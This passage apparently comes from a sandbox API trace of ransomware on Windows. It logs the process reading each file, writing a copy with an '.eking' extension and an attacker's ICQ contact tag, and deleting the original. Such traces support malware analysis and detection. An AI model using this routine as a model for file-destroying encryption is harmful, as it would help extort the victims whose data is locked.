hFile=0x308, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=129) returned 1 [0077.472] CloseHandle (hObject=0x308) returned 1 [0077.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 0x26 [0077.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 0x26 [0077.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0077.482] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0077.482] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0077.483] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0077.483] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x26, hTemplateFile=0x0) returned 0x294 [0077.994] ReadFile (in: hFile=0x308, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x81, lpOverlapped=0x0) returned 1 [0077.995] WriteFile (in: hFile=0x294, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x90, lpOverlapped=0x0) returned 1 [0077.997] WriteFile (in: hFile=0x294, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0077.997] CloseHandle (hObject=0x308) returned 1 [0077.997] CloseHandle (hObject=0x294) returned 1 [0078.000] DeleteFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 1 [0078.001] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294 [0078.001] GetFileSizeEx (in: hFile=0x294, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=6309) returned 1 [0078.001] CloseHandle (hObject=0x294) returned 1 [0078.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80 [0078.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80 [0078.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0078.002] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294 [0078.002] SetFilePointerEx (in: hFile=0x294, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0078.002] SetFilePointerEx (in: hFile=0x294, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0078.002] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0078.004] ReadFile (in: hFile=0x294, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x18a5, lpOverlapped=0x0) returned 1 [0078.006] WriteFile (in: hFile=0x308, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x18b0, lpOverlapped=0x0) returned 1 [0078.007] WriteFile (in: hFile=0x308, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0078.008] CloseHandle (hObject=0x294) returned 1 [0078.008] CloseHandle (hObject=0x308) returned 1 [0078.011] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 1 [0078.013] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0078.013] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=60816) returned 1 [0078.013] CloseHandle (hObject=0x308) returned 1 [0078.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80 [0078.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80 [0078.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0078.013] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0078.013] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0078.014] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0078.014] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0078.014] ReadFile (in: hFile=0x308, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0xed90, lpOverlapped=0x0) returned 1 [0078.017] WriteFile (in: hFile=0x294, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xeda0, lpOverlapped=0x0) returned 1 [0078.020] WriteFile (in: hFile=0x294, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0078.020] CloseHandle (hObject=0x308) returned 1 [0078.020] CloseHandle (hObject=0x294) returned 1 [0078.023] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 1 [0078.025] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294 [0078.026] GetFileSizeEx (in: hFile=0x294, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=14168) returned 1 [0078.026] CloseHandle (hObject=0x294) returned 1 [0078.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 0x80 [0078.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 0x80 [0078.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0078.026] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294 [0078.027] SetFilePointerEx (in: hFile=0x294, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0078.027] SetFilePointerEx (in: hFile=0x294, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0078.027] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0078.027] ReadFile (in: hFile=0x294, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x3758, lpOverlapped=0x0) returned 1 [0078.718] WriteFile (in: hFile=0x308, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x3760, lpOverlapped=0x0) returned 1 [0078.720] WriteFile (in: hFile=0x308, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0078.720] CloseHandle (hObject=0x294) returned 1 [0078.721] CloseHandle (hObject=0x308) returned 1 [0078.723] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 1 [0078.725] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0078.726] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=3314) returned 1 [0078.726] CloseHandle (hObject=0x308) returned 1 [0078.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80 [0078.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80 [0078.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0078.727] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0078.727] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0078.727] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0078.727] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0078.731] ReadFile (in: hFile=0x308, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0xcf2, lpOverlapped=0x0) returned 1 [0078.733] WriteFile (in: hFile=0x294, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xd00, lpOverlapped=0x0) returned 1 [0078.735] WriteFile (in: hFile=0x294, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0078.735] CloseHandle (hObject=0x308) returned 1 [0078.735] CloseHandle (hObject=0x294) returned 1 [0078.743] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 1 [0078.744] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294 [0078.746] GetFileSizeEx (in: hFile=0x294, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=77748) returned 1 [0078.746] CloseHandle (hObject=0x294) returned 1 [0078.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80 [0078.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80 [0078.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0078.746] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294 [0078.747] SetFilePointerEx (in: hFile=0x294, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0078.747] SetFilePointerEx (in: hFile=0x294, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0078.747] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0078.747] ReadFile (in: hFile=0x294, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x12fb4, lpOverlapped=0x0) returned 1 [0078.751] WriteFile (in: hFile=0x308, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x12fc0, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x12fc0, lpOverlapped=0x0) returned 1 [0078.754] WriteFile (in: hFile=0x308, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0078.754] CloseHandle (hObject=0x294) returned 1 [0078.755] CloseHandle (hObject=0x308) returned 1 [0078.760] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 1 [0078.934] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0078.934] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=3419) returned 1 [0078.934] CloseHandle (hObject=0x310) returned 1 [0078.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80 [0078.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80 [0078.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0078.934] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0078.935] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0078.935] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0078.935] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x304 [0078.968] ReadFile (in: hFile=0x310, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0xd5b, lpOverlapped=0x0) returned 1 [0078.974] WriteFile (in: hFile=0x304, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xd60, lpOverlapped=0x0) returned 1 [0078.975] WriteFile (in: hFile=0x304, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0078.975] CloseHandle (hObject=0x310) returned 1 [0078.975] CloseHandle (hObject=0x304) returned 1 [0078.980] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 1 [0078.981] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0078.982] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=82346) returned 1 [0078.982] CloseHandle (hObject=0x304) returned 1 [0078.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80 [0078.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80 [0078.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0078.982] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0078.982] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0078.982] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0078.982] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0078.983] ReadFile (in: hFile=0x304, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x141aa, lpOverlapped=0x0) returned 1 [0078.991] WriteFile (in: hFile=0x310, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x141b0, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x141b0, lpOverlapped=0x0) returned 1 [0078.994] WriteFile (in: hFile=0x310, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0078.994] CloseHandle (hObject=0x304) returned 1 [0078.994] CloseHandle (hObject=0x310) returned 1 [0078.998] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 1 [0079.000] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0079.006] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=18776) returned 1 [0079.006] CloseHandle (hObject=0x310) returned 1 [0079.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 0x80 [0079.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 0x80 [0079.006] GetFileAttributesW 